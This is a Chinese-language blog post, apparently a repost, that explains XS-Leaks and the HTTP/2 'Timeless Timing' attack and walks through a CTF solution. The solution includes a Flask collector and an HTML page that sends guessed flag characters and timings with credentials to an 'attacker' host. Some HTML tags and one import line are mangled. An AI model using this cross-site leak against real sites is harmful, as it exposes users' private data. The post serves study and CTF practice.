本文首发于先知社区,转载请联系对方
原文链接:浅谈XS-Leaks之Timeless timing attck
Cross-site leaks(又名 XS-Leaks、XSLeaks)是一类源自 Web 平台内置的侧通道的漏洞。他们利用网络的可组合性核心原则,允许网站相互交互,并滥用合法机制来推断有关用户的信息。
XS-Leaks 和 csrf 较为相似。不过主要区别是 csrf 是用来让受害者执行某些操作,而xs-leaks 是用来探测用户敏感信息。
浏览器提供了多种功能来支持不同 Web 应用程序之间的交互;例如,它们允许网站加载子资源、导航或向另一个应用程序发送消息。虽然此类行为通常受到 Web 平台中内置的安全机制(例如同源策略)的限制,但 XS-Leaks 会利用网站之间交互过程中暴露的小块信息。
XS-Leak 的原理是使用 Web 上可用的侧信道来探测有关用户的敏感信息,例如他们在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。
这些侧信道的来源通常有以下几类:
一般来说,想要成功利用,需要网页具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
补充一下,侧信道(Side Channel Attck)攻击主要是通过利用非预期的信息泄露来间接窃取信息。
想象这样一个情景,受害者有权限访问一些报告,当受害者访问我们的网站,我们发出两个请求:
当发现查询的时间有差异时,我们就能推断出这个字符存在于报告中的某个地方;同理,当两个请求返回的时间相同,说明该字符不在。
但现实环境并没有那么理想,根据29th usenix 上的这篇论文Timeless Timing Attacks: Exploiting Concurrency to Leak Secrets over Remote Connections,传统的基于时间的攻击主要受到以下一些因素影响:
一般来说判断延迟所需要的请求数量:
也就是说在这种情况下,我们可能需要发送成百上千的请求才能判断是否存在信息泄露,并且它仅仅只能判断一个字符。这不仅需要发送大量请求,而且在整个攻击过程中受害者需要持续访问我们的的网站以及一些其他的限制。
在整个攻击流程中,我们想要知道的是查询所需要的时间,这个过程发生在服务端。而我们测量的地方在客户端,这中间会发生许多的网络交换,这个过程无法避免,因为我们不能直接在服务器上测量时间。
事实上,我们在意的并不是两个查询各自花费了多少时间,我们在意的是哪一个花费的时间更长!
这里我们假设有两个报文 A 、 B,后端服务器在接受到 A 时会产生延迟,接受到 B 时不会产生延迟,这篇论文主要通过以下方式解决了传统时间攻击的这些问题:
通过报文同时发出来尽可能使其同时到达来避免通信过程中产生的网络抖动影响(由于攻击者不能控制低层的网络协议,所以我们需要其他方法来让两个请求在同一个packet内)
这里可以有两个选择:多路复用以及报文封装
多路复用:可以通过 HTTP/2 并发流机制来达到这一个目的,使其尽可能在同一时间被发送并尽可能在同一时间到达。(比如 HTTP/2 与 HTTP/3 开启了多路复用,HTTP/1.1 并没有)其中尽量还要满足一个报文可以携带多个请求到达服务器这么一个条件
报文封装:这种网络协议可以封装多个数据流(例如 HTTP/1.1 over Tor or VPN)
通过测量两个报文的返回顺序来代替传统攻击中测量报文所需时间
如果我们可以满足同时发出两个报文 AB 并且他们也同时到达,Timeless Timing 攻击需要做的就是重复多组发送报文的操作,并统计他们返回的先后顺序,如果服务器处理两个报文后没有产生延迟的现象,那么这两个报文会被立即返回,因为返回顺序不受我们控制,并且可能受到返程通信过程中的网络影响,所以返回的先后顺序概率为 50% 及 50% 。
如果服务器在处理 B 报文时会差生延迟现象,诸如比 A 要多进行一遍解密、查询等耗时的操作,那么 B 会比 A 要稍晚才能返回,这样一来,尽管响应报文在通信过程中仍然会受到一些影响,但是我们可以多次测量来统计这个概率,此时 B 比 A 先返回的概率回明显小于 50% ,于是我们可以通过这个概率来判断两个请求是否在服务器处理时产生了延迟。
并且论文当中也对比了传统时间攻击与 Timeless Timing 攻击之间的各自区分一定时间延迟所需要的请求:
还是可以很明显的看出timeless timing在同样探测精度下所需要的请求数量要少很多。
基于并发的Timeless timing attck不受网络抖动和不确定延迟的影响
远程的计时攻击具有与本地系统上的攻击者相当的性能。
在此之前我们可以先看一个demo
a starting point for our exploit: https://github.com/DistriNet/timeless-timing-attacks
我们可以使用仓库中给的示例代码:
from h2time import H2Time, H2Request
import logging
import asyncio
ua = 'h2time/0.1'
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('h2time')
async def run_two_gets():
r1 = H2Request('GET', 'https://tom.vg/?1', {'user-agent': ua})
r2 = H2Request('GET', 'https://tom.vg/?2', {'user-agent': ua})
logger.info('Starting h2time with 2 GET requests')
async with H2Time(r1, r2, num_request_pairs=5) as h2t:
results = await h2t.run_attack()
print('\n'.join(map(lambda x: ','.join(map(str, x)), results)))
logger.info('h2time with 2 GET requests finished')
loop = asyncio.get_event_loop()
loop.run_until_complete(run_two_gets())
loop.close()
首先创建两个 H2Request 对象,然后将它们传递给 H2Time。当调用 run_attack() 方法时,客户端将开始发送请求对,并尝试确保两者同时到达服务器(每个请求的最终字节应放在单个 TCP 数据包中)。在第一个请求中,附加参数被添加到 URL 以抵消请求可以开始处理的时间差异(数字由 num_padding_params 参数定义 - 默认值:40)。
H2Time 可以在顺序模式下运行,它等待发送下一个请求对,直到收到前一个请求对的响应。当顺序设置为 False 时,所有请求对将一次发送,间隔为 inter_request_time_ms 参数定义的毫秒数。
返回的结果是一个包含 3 个元素的元组列表:
第二个请求和第一个请求之间的响应时间差异(以纳秒为单位)
第一个请求的响应状态
响应第二个请求的状态
如果响应时间的差异为负,这意味着首先收到了对第二个请求的响应。要执行 timeless 定时攻击,只需要考虑结果是肯定的还是否定的(肯定表示第一个请求的处理时间比处理第二个请求花费的时间少)。
该题目主要考察的是我们可以构造并同时发出 HTTP/2 报文,从而使得尽量满足同时发出同时到达的条件。由于两个请求同时运行而没有网络差异来影响我们的计时,我们可以简单地检查哪个响应首先返回。
一般来说有http在传输时候有几种情况:
协议版本 | 传输方式 | 效果 |
---|---|---|
http1.0 | 原始方式 | 一个tcp只有一个请求和响应 |
http1.1 | 基础的keepalive | 复用同一个tcp,多个请求时,一个请求一个响应顺序执行 |
http1.1 | pipeline模式 | 复用一个tcp,多个请求时,同时发送多个请求,服务端顺序响应这几个请求,按照先进先出的原则强制响应顺序 |
http2.0 | Multiplexing | 复用一个tcp,采用http2.0的封装,多个请求时,多个h2的帧,请求会并发进行处理,响应是乱序返回的(客户端根据帧信息自己会重组) |
由于 HTTP 1.X 是基于文本的,因为是文本,就导致了它必须是个整体,在传输是不可切割的,只能整体去传。
但 HTTP 2.0 是基于二进制流的。有两个非常重要的概念,分别是帧(frame)和流(stream)
将 HTTP 消息分解为独立的帧,交错发送,然后在另一端重新组装。
简单的来说: 在同一个TCP连接中,同一时刻可以发送多个请求和响应,且不用按照顺序一一对应。
之前是同一个连接只能用一次, 如果开启了keep-alive,虽然可以用多次,但是同一时刻只能有一个HTTP请求。
有兴趣的可以看看题目环境[GitHub - ConnorNelson/spaceless-spacing: CTF Challenge ](GitHub - ConnorNelson/spaceless-spacing: CTF Challenge )
题目考点:
理论基础:HTTP/2 并发流可以在一个流内组装多个 HTTP 报文;TCP Nagle 拥塞控制算法;在 TCP 产生拥堵时,浏览器会将多个报文放入到一个 TCP 报文当中。
实践题解:Post 一个 body 过大的报文让 TCP 产生拥堵,使得浏览器将多个 HTTP/2 报文放在一个 TCP 报文当中,通过 admin 搜索 flag 产生时间差异,使用 Timeless Timing 攻击完成 XS-Leaks 。
题目主要有两个对象:
题目主要功能:
其中 admin 用户的搜索功能实现为:
const searchRgx = new RegExp(escapeStringRegexp(word), "gi");
// No time to implemente the pagination. So only show 5 results first.
let paste = await Pastes.find({
content: searchRgx,
})
.sort({ date: "asc" })
.limit(5);
if (paste && paste.length > 0) {
let data = [];
await Promise.all(
paste.map(async (p) => {
let user = await User.findOne({ username: p.username });
data.push({
pasteid: p.pasteid,
title: p.title,
content: p.content,
date: p.date,
username: user.username,
website: user.website,
});
})
);
return res.json({ status: "success", data: data });
} else {
return res.json({ status: "fail", data: [] });
}
也就是说 admin 用户搜索到对应的文章内容后,还会进一步找到对应的用户信息。
可以看到 admin 的搜索接口其实就比较符合这个背景。因为 admin 搜索接口在搜索到相关内容时,会进一步去查询 MongoDB 当中的用户信息,如果搜不到就会立马返回响应,这里就是 Timeless Timing 所需要测量的时间差值。并且我们知道 flag 就在 admin 的文章当中,所以我们只需要让 admin 查自己的文章是否包含我们查询的字符串,比如 flag{a
就能通过是否有时间延迟来测量出来了。
但是此时我们所处的背景环境是在浏览器当中,我们无法直接控制到报文的生成发送,这是进行 Timeless Timing 比较困难的地方。没办法控制报文同时发送就会让发出去的请求会因为各种网络抖动因素导致时间侧信道失效,所以怎么在浏览器的背景下利用 Timeless Timing 成了我们这个题目的最大的难点。
这里我们需要用到 TCP 拥塞控制,其实应该指的是 Nagle 算法 :
Nagle算法于1984年定义为福特航空和通信公司IP/TCP拥塞控制方法,这是福特经营的最早的专用TCP/IP网络减少拥塞控制,从那以后这一方法得到了广泛应用。Nagle的文档里定义了处理他所谓的小包问题的方法,这种问题指的是应用程序一次产生一字节数据,这样会导致网络由于太多的包而过载(一个常见的情况是发送端的"糊涂窗口综合症(Silly Window Syndrome)")。从键盘输入的一个字符,占用一个字节,可能在传输上造成41字节的包,其中包括1字节的有用信息和40字节的首部数据。这种情况转变成了4000%的消耗,这样的情况对于轻负载的网络来说还是可以接受的,但是重负载的福特网络就受不了了,它没有必要在经过节点和网关的时候重发,导致包丢失和妨碍传输速度。吞吐量可能会妨碍甚至在一定程度上会导致连接失败。Nagle的算法通常会在TCP程序里添加两行代码,在未确认数据发送的时候让发送器把数据送到缓存里。任何数据随后继续直到得到明显的数据确认或者直到攒到了一定数量的数据了再发包。尽管Nagle的算法解决的问题只是局限于福特网络,然而同样的问题也可能出现在ARPANet。这种方法在包括因特网在内的整个网络里得到了推广,成为了默认的执行方式,尽管在高互动环境下有些时候是不必要的,例如在客户/服务器情形下。在这种情况下,nagling可以通过使用TCP_NODELAY 套接字选项关闭。
简单来说,在 TCP 拥堵的情况下,数据报文会被暂时放到缓存区里,然后等后续数据到了一定程度才会被发送出去。按照这个理论,只要我们能够把 TCP 阻塞到一定程度即可让我们的报文放到缓存区中从而使得我们的两个搜索请求放到一个 TCP 报文当中了。
如何让 TCP 产生拥堵呢?在浏览器里我们能进行的操作并不多,最简单最直接的就是直接发送 POST 一个过大 body 的 HTTP 请求即可。
所以,到这里我们基本可以知道怎么去解题了。只需要提交一个页面链接,该页面会进行使用 JavaScript 进行以下操作:
fetch
向搜索接口发送我们需要探测的字符串,此时系统检测到 TCP 信道存在阻塞,会将这两个请求放入到缓冲区,从而放入到一个 TCP 报文当中Promise.all
或者其他方法检测这两个 fetch 哪一个先被返回from flask import Flask,render_template,request,
app = Flask(__name__)
@app.route('/')
def index():
word = request.args.get('word')
return render_template('index.html',word="TQLCTF{%s"%word)
@app.route('/result',methods=['GET'])
def check():
word = request.args.get('word')
ms = request.args.get('ms')
print('%s,%s'%(word,ms))
return "asd"
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5001)
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documenttitle>
<script>
const start = Date.now() //这里开始计时
script>
<script>
//abc()会将加载时间计算好之后,连同测试字符一同发给result路由。
abc = () => {
const end = Date.now()
var req = new XMLHttpRequest();
req.open('get',`http://attacker/result?word={{word}}&ms=${end - start}`,true);
req.withCredentials = true;
req.send();
}
script>
head>
<body>
<iframe src="https://proxy:443/admin/searchword?word={{word}}" onload="abc()">iframe>
body>
html>
将flask服务器架设起来接收结果。
打开burp用测试器爆破,提交架设的页面让bot去访问,Payload选择小写字母和数字(因为flag只有八位小写字母和数字),爆破完一位往flask代码里再加一位就好了。
论文中提到,在HTTP/2协议的情况下,我们可以利用多路封装协议来完成timeless timing attck;但目前主流网络环境仍使用HTTP/1.1,所以除了论文中提到的基于报文封装的限制性较大的方法,还有没有办法能够在HTTP/1.1协议下完成Timeless timing attck呢?
我们可以考虑HTTP/1.1的pipeline,这是HTTP持续连接的工作方式之一,其特点是客户在收到HTTP的响应报文之前就能够接着发送新的请求报文。于是一个接一个的请求报文到达服务器后,服务器就可持续发回响应报文。
总结一下特点:
pipeline是单线程顺序处理,那么就算时间有延迟我们也难以发现,这种情况下可以考虑放大。 既然pipeline是单线程,那么我就利用pipeline单线程不断的处理同一个请求,假如请求A和请求B的执行时间差异1ms,那么请求A*1000和请求B*1000的整个时间差异就可以达到1秒!
但实际情况下我们并不能进行无限制的放大。在实际的场景里,pipeline的最大处理请求数受到服务器中间件的配置影响,比如apache里默认在启用keepalive的情况下会设置pipeline最大支持请求为100个。
当然,如果响应里keepalive只有一个timeout并没有max的情况下则意味着其没有对pipeline数量进行限制,那么也就是说我们的放大场景是存在的这时候只要无限的构造pipeline请求就可以无限叠加倍率。
这样我们就可以在HTTP/1.1的场景下使用,虽然这样的站点不是很多但也算是另辟蹊径。
参考
http://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless/#others
https://www.usenix.org/system/files/sec20-van_goethem.pdf
http://www.ctfiot.com/34572.html
https://book.hacktricks.xyz/pentesting-web/xs-search
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/